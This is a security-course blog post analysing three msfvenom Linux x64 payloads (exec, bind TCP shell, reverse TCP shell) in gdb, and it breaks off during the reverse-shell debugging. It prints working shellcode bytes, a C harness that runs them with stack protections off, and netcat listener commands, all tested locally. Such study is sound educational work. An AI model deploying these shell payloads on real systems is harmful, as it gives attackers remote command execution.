SLAE64 - Assignment #5 - Analysis of msfvenom payloads
Introduction
This is the blog post for the 5th Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.
The purpose of this assignment is to analyze 3 different payloads generated by msfvenom
, which is a Metasploit standalone payload generator and has replaced msfpayload
and msfencode
. In order to explore the available 64-bit Linux payloads the following command must be executed: msfvenom -l payloads | grep "linux/x64"
. The table below is used to navigate to each analysis and provides the description of each payload.
Msfvenom payload | Description | Size |
---|---|---|
linux/x64/exec | Execute an arbitrary command or just a /bin/sh shell | 21 |
linux/x64/shell_bind_tcp | Listen for a connection and spawn a command shell | 86 |
linux/x64/shell_reverse_tcp | Connect back to attacker and spawn a command shell | 74 |
My code can be found in my Github: geobour98’s Github.
Analyzing shellcode
All the msfvenom
payloads are analyzed with gdb
, which is the GNU debugger and allows us to see what is going on “inside” another program while it executes.
The process that is followed for each payload is that the shellcode is extracted first and then it is tested in the file shellcode.c
, as shown in previous blog posts. After that, each shellcode is going to be analyzed with gdb
.
linux/x64/exec
The payload linux/x64/exec
is used to execute an arbitrary command or just a “/bin/sh” shell.
The next command shows the available options for this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ msfvenom -p linux/x64/exec --list-options
Options for payload/linux/x64/exec:
=========================
Name: Linux Execute Command
Module: payload/linux/x64/exec
Platform: Linux
Arch: x64
Needs Admin: No
Total size: 21
Rank: Normal
Provided by:
ricky
Geyslan G. Bem <geyslan@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no The command string to execute
Description:
Execute an arbitrary command or just a /bin/sh shell
Advanced options for payload/linux/x64/exec:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
NullFreeVersion false yes Null-free shellcode version
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x64/exec:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
An arbitrary command could be set in CMD
option, bit if it isn’t provided then the /bin/sh
shell is going to be executed.
So, the following command utilizes the exec
payload and outputs the shellcode in C
format.
1
2
3
4
5
6
7
8
9
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ msfvenom -p linux/x64/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of c file: 114 bytes
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";
Now we can paste the extracted shellcode in the file shellcode.c
. So, the whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Now we need to compile the program:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
In order to verify that the payload is working we must execute shellcode
. The commands id
and ls
are executed in the /bin/sh
shell.
1
2
3
4
5
6
7
8
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ ./shellcode
Shellcode Length: 9
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
shellcode shellcode.c
$ exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$
gdb
We load shellcode
on gdb
, set a breakpoint at the code
variable, run and disassemble:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &code
$1 = 0x601040
(gdb) break *0x601040
Breakpoint 1 at 0x601040
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec/shellcode
Shellcode Length: 9
Breakpoint 1, 0x0000000000601040 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0000000000601040 <+0>: movabs rax,0x68732f6e69622f
0x000000000060104a <+10>: cdq
0x000000000060104b <+11>: push rax
0x000000000060104c <+12>: push rsp
0x000000000060104d <+13>: pop rdi
0x000000000060104e <+14>: push rdx
0x000000000060104f <+15>: pop rsi
0x0000000000601050 <+16>: push 0x3b
0x0000000000601052 <+18>: pop rax
0x0000000000601053 <+19>: syscall
0x0000000000601055 <+21>: add BYTE PTR [rax],al
End of assembler dump.
We can see from the instructions that 1 syscall is going to be executed and in order to identify its number and arguments we put another breakpoint before the execution at 0x0000000000601053
. Then, we continue the execution of the program and check the contents of the registers at that point.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(gdb) break *0x0000000000601053
Breakpoint 2 at 0x601053
(gdb) c
Continuing.
Breakpoint 2, 0x0000000000601053 in code ()
(gdb) info registers
rax 0x3b 59
rbx 0x0 0
rcx 0x7fffffec 2147483628
rdx 0x0 0
rsi 0x0 0
rdi 0x7fffffffdba0 140737488346016
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdba0 0x7fffffffdba0
r8 0x0 0
r9 0x14 20
r10 0x0 0
r11 0x246 582
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x601053 0x601053 <code+19>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall number, which is inside RAX
, is 59
and according to the header file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
it is for the execve
syscall. According to the manual page of execve
syscall, its first argument is the program that is going to be executed. It is located in the RDI
register. So, we can examine the contents of that memory location as string.
1
2
(gdb) x/s 0x7fffffffdba0
0x7fffffffdba0: "/bin/sh"
The second and third arguments are located in RSI
and RDX
registers respectively and they both have the value 0
.
As expected, since we didn’t provide an arbitrary command, the /bin/sh
program is executed.
The analysis of the linux/x64/exec
payload is over and the shellcode is working!
linux/x64/shell_bind_tcp
The payload linux/x64/shell_bind_tcp
is used to listen for a connection and spawn a command shell.
The next command shows the available options for this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ msfvenom -p linux/x64/shell_bind_tcp --list-options
Options for payload/linux/x64/shell_bind_tcp:
=========================
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x64/shell_bind_tcp
Platform: Linux
Arch: x64
Needs Admin: No
Total size: 86
Rank: Normal
Provided by:
ricky
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Advanced options for payload/linux/x64/shell_bind_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x64/shell_bind_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
We keep the default options to bind on port 4444
.
So the following command utilizes the shell_bind_tcp
payload and outputs the shellcode in C
format.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ msfvenom -p linux/x64/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 389 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";
Now we can paste the extracted shellcode in the file shellcode.c
. So, the whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Now we need to compile the program:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
In order to verify that the payload is working we must execute shellcode
. Then we connect with nc
on port 4444
and execute the commands id
and ls
.
1st window:
1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ ./shellcode
Shellcode Length: 19
2nd window:
1
2
3
4
5
6
7
8
geobour98@slae64-dev:~$ nc localhost 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
shellcode
shellcode.c
exit
geobour98@slae64-dev:~$
gdb
We load shellcode
on gdb
, set a breakpoint at the code
variable, run and disassemble:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &code
$1 = 0x601060
(gdb) break *0x601060
Breakpoint 1 at 0x601060
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind/shellcode
Shellcode Length: 19
Breakpoint 1, 0x0000000000601060 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>: push 0x29
0x0000000000601062 <+2>: pop rax
0x0000000000601063 <+3>: cdq
0x0000000000601064 <+4>: push 0x2
0x0000000000601066 <+6>: pop rdi
0x0000000000601067 <+7>: push 0x1
0x0000000000601069 <+9>: pop rsi
0x000000000060106a <+10>: syscall
0x000000000060106c <+12>: xchg rdi,rax
0x000000000060106e <+14>: push rdx
0x000000000060106f <+15>: mov DWORD PTR [rsp],0x5c110002
0x0000000000601076 <+22>: mov rsi,rsp
0x0000000000601079 <+25>: push 0x10
0x000000000060107b <+27>: pop rdx
0x000000000060107c <+28>: push 0x31
0x000000000060107e <+30>: pop rax
0x000000000060107f <+31>: syscall
0x0000000000601081 <+33>: push 0x32
0x0000000000601083 <+35>: pop rax
0x0000000000601084 <+36>: syscall
0x0000000000601086 <+38>: xor rsi,rsi
0x0000000000601089 <+41>: push 0x2b
0x000000000060108b <+43>: pop rax
0x000000000060108c <+44>: syscall
0x000000000060108e <+46>: xchg rdi,rax
0x0000000000601090 <+48>: push 0x3
0x0000000000601092 <+50>: pop rsi
0x0000000000601093 <+51>: dec rsi
0x0000000000601096 <+54>: push 0x21
0x0000000000601098 <+56>: pop rax
0x0000000000601099 <+57>: syscall
0x000000000060109b <+59>: jne 0x601093 <code+51>
0x000000000060109d <+61>: push 0x3b
0x000000000060109f <+63>: pop rax
0x00000000006010a0 <+64>: cdq
0x00000000006010a1 <+65>: movabs rbx,0x68732f6e69622f
0x00000000006010ab <+75>: push rbx
0x00000000006010ac <+76>: mov rdi,rsp
0x00000000006010af <+79>: push rdx
0x00000000006010b0 <+80>: push rdi
0x00000000006010b1 <+81>: mov rsi,rsp
0x00000000006010b4 <+84>: syscall
0x00000000006010b6 <+86>: add BYTE PTR [rax],al
End of assembler dump.
We can see from the instructions that 6 syscalls are going to be executed and in order to identify their numbers and arguments we put breakpoints before each execution (0x000000000060106a
, 0x000000000060107f
, 0x0000000000601084
, 0x000000000060108c
, 0x0000000000601099
and 0x00000000006010b4
). Then, we continue the execution of the program and check the contents of the registers.
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) break *0x000000000060106a
Breakpoint 2 at 0x60106a
(gdb) break *0x000000000060107f
Breakpoint 3 at 0x60107f
(gdb) break *0x0000000000601084
Breakpoint 4 at 0x601084
(gdb) break *0x000000000060108c
Breakpoint 5 at 0x60108c
(gdb) break *0x0000000000601099
Breakpoint 6 at 0x601099
(gdb) break *0x00000000006010b4
Breakpoint 7 at 0x6010b4
1st syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 2, 0x000000000060106a in code ()
(gdb) info registers
rax 0x29 41
rbx 0x0 0
rcx 0x7fffffeb 2147483627
rdx 0x0 0
rsi 0x1 1
rdi 0x2 2
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdba8 0x7fffffffdba8
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x246 582
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x60106a 0x60106a <code+10>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 41
(RAX
register) is socket
. It takes 3 arguments (domain
, type
and protocol
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the value 2
because of the AF_INET
address family (IPv4). RSI
has the value 1
because this is a TCP socket (SOCK_STREAM
). RDX
has the value 0
because a single protocol is supported on a particular socket.
2nd syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 3, 0x000000000060107f in code ()
(gdb) info registers
rax 0x31 49
rbx 0x0 0
rcx 0x400474 4195444
rdx 0x10 16
rsi 0x7fffffffdba0 140737488346016
rdi 0x3 3
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdba0 0x7fffffffdba0
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x302 770
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x60107f 0x60107f <code+31>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 49
(RAX
register) is bind
. It takes 3 arguments (sockfd
, addr
, addrlen
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the value 3
since this is the return value (file descriptor) from the socket
syscall execution. RSI
has the value 0x7fffffffdba0
because it is the memory address of the struct that contains the protocol family value, the port and the interface to listen on. We can disassemble the program at this point in order to view those values.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) disassemble
Dump of assembler code for function code:
<snip>
0x000000000060106c <+12>: xchg rdi,rax
0x000000000060106e <+14>: push rdx
0x000000000060106f <+15>: mov DWORD PTR [rsp],0x5c110002
0x0000000000601076 <+22>: mov rsi,rsp
0x0000000000601079 <+25>: push 0x10
0x000000000060107b <+27>: pop rdx
0x000000000060107c <+28>: push 0x31
0x000000000060107e <+30>: pop rax
=> 0x000000000060107f <+31>: syscall
<snip>
The value 0
is pushed to the stack in order to listen on all interfaces (0.0.0.0
). Then, the double word 0x5c110002
becomes the value at the memory location RSP
is pointing at representing the port in little endianness (115c
hex is 4444
dec) and the protocol family like before (2
). Also, RDX
has the value 16
because this is the size of the address struct.
3rd syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 4, 0x0000000000601084 in code ()
(gdb) info registers
rax 0x32 50
rbx 0x0 0
rcx 0x400474 4195444
rdx 0x10 16
rsi 0x7fffffffdba0 140737488346016
rdi 0x3 3
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdba0 0x7fffffffdba0
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x302 770
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x601084 0x601084 <code+36>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 50
(RAX
register) is listen
. It takes 2 arguments (sockfd
and backlog
) that are located in RDI
and RSI
respectively. Both RDI
and RSI
have the same values like before in bind
syscall.
4th syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 5, 0x000000000060108c in code ()
(gdb) info registers
rax 0x2b 43
rbx 0x0 0
rcx 0x400474 4195444
rdx 0x10 16
rsi 0x0 0
rdi 0x3 3
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdba0 0x7fffffffdba0
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x302 770
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x60108c 0x60108c <code+44>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 43
(RAX
register) is accept
. It takes 3 arguments (sockfd
, addr
and addrlen
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the same value as in previous syscalls (file descriptor). RSI
has the value 0
because nothing is filled in as the address of the peer socket. RDX
has the value 16
because this is the size of the address struct.
5th syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 6, 0x0000000000601099 in code ()
(gdb) info registers
rax 0x21 33
rbx 0x0 0
rcx 0x400474 4195444
rdx 0x10 16
rsi 0x2 2
rdi 0x4 4
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdba0 0x7fffffffdba0
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x346 838
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x601099 0x601099 <code+57>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
At this point we have to connect with nc
on port 4444
in order to continue.
By disassembling the program we can see that there is a loop executing the dup2
syscall (number 33
) in order to redirect everything to the socket connected. This syscall takes 2 arguments: oldfd
and newfd
. oldfd
is the return value from the accept
syscall (RDI
register) and RSI
has the values 2
, 1
and 0
in each dup2
execution for STDERR
, STDOUT
and STDIN
respectively.
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disassemble
Dump of assembler code for function code:
<snip>
0x000000000060108e <+46>: xchg rdi,rax
0x0000000000601090 <+48>: push 0x3
0x0000000000601092 <+50>: pop rsi
0x0000000000601093 <+51>: dec rsi
0x0000000000601096 <+54>: push 0x21
0x0000000000601098 <+56>: pop rax
=> 0x0000000000601099 <+57>: syscall
0x000000000060109b <+59>: jne 0x601093 <code+51>
<snip>
6th syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 7, 0x00000000006010b4 in code ()
(gdb) info registers
rax 0x3b 59
rbx 0x68732f6e69622f 29400045130965551
rcx 0x400474 4195444
rdx 0x0 0
rsi 0x7fffffffdb88 140737488345992
rdi 0x7fffffffdb98 140737488346008
rbp 0x7fffffffdbc0 0x7fffffffdbc0
rsp 0x7fffffffdb88 0x7fffffffdb88
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x346 838
r12 0x400470 4195440
r13 0x7fffffffdca0 140737488346272
r14 0x0 0
r15 0x0 0
rip 0x6010b4 0x6010b4 <code+84>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 59
(RAX
register) is execve
. It takes 3 arguments (filename
, argv[]
and envp[]
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the value 0x7fffffffdb98
because it is the memory address for the program to run, which is “/bin/sh”. We can examine that memory location as a string to verify that.
1
2
(gdb) x/s 0x7fffffffdb98
0x7fffffffdb98: "/bin/sh"
RSI
has the value 0x7fffffffdb88
because it points to the memory location of the string “/bin/sh”. RDX
has the value 0
because there isn’t an array of strings that is passed as environment to the new program.
The analysis of the linux/x64/shell_bind_tcp
payload is over and the shellcode is working!
linux/x64/shell_reverse_tcp
The payload linux/x64/shell_reverse_tcp
is used to listen for a connection and spawn a command shell.
The next command shows the available options for this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ msfvenom -p linux/x64/shell_reverse_tcp --list-options
Options for payload/linux/x64/shell_reverse_tcp:
=========================
Name: Linux Command Shell, Reverse TCP Inline
Module: payload/linux/x64/shell_reverse_tcp
Platform: Linux
Arch: x64
Needs Admin: No
Total size: 74
Rank: Normal
Provided by:
ricky
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Connect back to attacker and spawn a command shell
Advanced options for payload/linux/x64/shell_reverse_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through
proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x64/shell_reverse_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
We have to set the LHOST
option to 127.1.1.1
in order to connect back to localhost and keep the default port 4444
.
So the following command utilizes the shell_reverse_tcp
payload and outputs the shellcode in C
format.
1
2
3
4
5
6
7
8
9
10
11
12
13
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.1.1.1 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of c file: 338 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x11\x5c\x7f\x01\x01\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";
Now we can paste the extracted shellcode in the file shellcode.c
. So, the whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x11\x5c\x7f\x01\x01\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Now we need to compile the program:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
In order to verify that the payload is working we must execute shellcode
. Before that, we create a listener with nc
on port 4444
.
1st window:
1
2
3
geobour98@slae64-dev:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
2nd window:
1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ ./shellcode
Shellcode Length: 17
1st window again:
1
2
3
4
5
6
7
8
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 35692)
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
shellcode
shellcode.c
exit
geobour98@slae64-dev:~$
gdb
We load shellcode
on gdb
, set a breakpoint at the code
variable, run and disassemble:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &code
$1 = 0x601060
(gdb) break *0x601060
Breakpoint 1 at 0x601060
(gdb) run
